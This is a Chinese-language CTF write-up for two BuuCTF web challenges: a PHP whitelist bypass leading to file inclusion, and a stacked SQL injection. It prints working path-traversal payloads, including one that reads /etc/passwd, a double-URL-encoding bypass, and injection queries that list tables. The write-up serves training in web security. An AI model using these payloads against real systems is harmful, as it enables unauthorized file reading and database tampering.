BuuCTF Web Writeup

index.php

<html lang="en"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!--source.php--> <br><img src="http://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> </html>

访问source.php

题目源码

<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; ----- A if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } ----- A ----- B $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } ----- B ----- C $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } ----- C echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=http://www.likecs.com/\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

题目原型

phpMyAdmin文件包含漏洞

代码审计

0x00 include $_REQUEST['file']; 存在文件包含漏洞

0x01 A段检测传入的$page是否为白名单中的值

0x02 B段检测$page中?前部分是否为白名单中的值

0x03 C段先对 $_page进行url解码后再检测$_page中?前部分是否为白名单中的值

解题思路

0x00 构造如下基础结构的$_REQUEST['file']进行任意文件读取

payload: ?file=aaa/../bbb

如何理解aaa/../bbb

aaa/表示当前文件同级目录下的文件夹名(不检测该文件是否存在)

../bbb表示aaa/文件夹所在目录的父级目录下的文件名

father ├── aaa(文件夹 不一定要存在) └── bbb(文件 一定要存在)

0x01 满足 emmm:checkFile($_REQUEST['file']) == True

解题方法

A段无法利用

令B段返回True

payload: ?file=source.php?/../../../../etc/passwd

通过回显知道payload正确,根据hint.php的提示得到flag

payload: ?file=source.php?/../../../../ffffllllaaaagggg

网上有人说include中不能有?,不清楚是什么情况,本人测试中没遇到问题

故也可以利用C段进行?的绕过

payload: ?file=source.php%253f/../../../../ffffllllaaaagggg

别忘了对%进行编码转换为 %25,因为url解析会自动进行url解码

疑问解析

之前有人有疑问表示不清楚目录穿越到底要穿多少层才能到根目录

其实多写几个../就可以了,因为一旦到根目录了,写几个../都还是在根目录上

随便注

先进行简单测试,发现存在过滤

payload: ?inject=' union select 1,2,3--+ return : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

测试中发现存在堆叠注入

查询当前数据库表结构

payload: ?inject=';show tables;desc `1919810931114514`;desc words;

BuuCTF Web Writeup

MariaDB [test]> desc `1919810931114514`; --A +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | flag | varchar(100) | NO | | NULL | | +-------+--------------+------+-----+---------+-------+ 1 row in set (0.01 sec) MariaDB [test]> desc words; --B +-------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+-------------+------+-----+---------+-------+ | id | int(10) | NO | | NULL | | | data | varchar(20) | NO | | NULL | | +-------+-------------+------+-----+---------+-------+ 2 rows in set (0.00 sec)

有一个细节在A和B处,这个细节在之后至关重要

A用全数字做表名,在使用时需要用反引号包裹,不然会产生错误,但如果半数字半字符则不需要

MariaDB [test]> desc 0d4y; +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | name | varchar(100) | NO | | NULL | | +-------+--------------+------+-----+---------+-------+ 1 row in set (0.01 sec) MariaDB [test]> desc 1919810931114514; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1919810931114514' at line 1

题目有多种解法,一下进行三种解法的解析

0x00 重命名

通过测试可以猜测后台sql代码

$sql = select id, data from words where id = '{$id}';

解题思路

0x00 把1919810931114514改名为words,之后将1919810931114514中的字段flag改名为id

0x01 利用mysql特性构造' or '1得到flag

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zygfzj.html